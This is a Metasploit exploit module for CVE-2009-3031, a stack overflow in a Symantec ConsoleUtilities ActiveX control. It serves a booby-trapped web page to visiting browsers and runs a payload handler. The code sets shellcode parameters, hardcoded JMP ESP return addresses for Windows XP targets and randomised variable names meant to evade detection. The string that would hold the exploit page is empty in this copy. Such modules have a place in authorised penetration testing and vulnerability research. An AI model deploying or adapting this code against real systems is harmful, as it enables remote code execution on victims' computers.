## # Use it only for education or ethical pentesting! The author accepts no liability for damage caused by this tool. ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Symantec ConsoleUtilities ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Symantecs ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nikolas Sotiriu (lofi)' ], 'Version' => '1.0', 'References' => [ [ 'CVE', '2009-3031'], [ 'URL', 'http://sotiriu.de/adv/NSOADV-2009-001.txt' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2009&suid=20091102_00' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2 Universal', { 'Ret' => 0x77d92acc } ], # USER32.dll JMP ESP [ 'Windows XP SP2 Pro German', { 'Ret' => 0x77D5AF0A } ], # SHELL32.dll JMP ESP [ 'Windows XP SP3 Pro German', { 'Ret' => 0x7E6830D7 } ], # SHELL32.dll JMP ESP ], 'DisclosureDate' => 'Nov 02 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize variables vname = rand_text_alpha(rand(20) + 1) junk = rand_text_alpha(rand(20) + 1) eip = rand_text_alpha(rand(20) + 1) morejunk = rand_text_alpha(rand(20) + 1) sc = rand_text_alpha(rand(20) + 1) buf = rand_text_alpha(rand(20) + 1) # Set RET and shellcode ret = Rex::Text.to_unescape([target.ret].pack('V')) shellcode = Rex::Text.to_unescape(p.encoded) # Build the Site content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end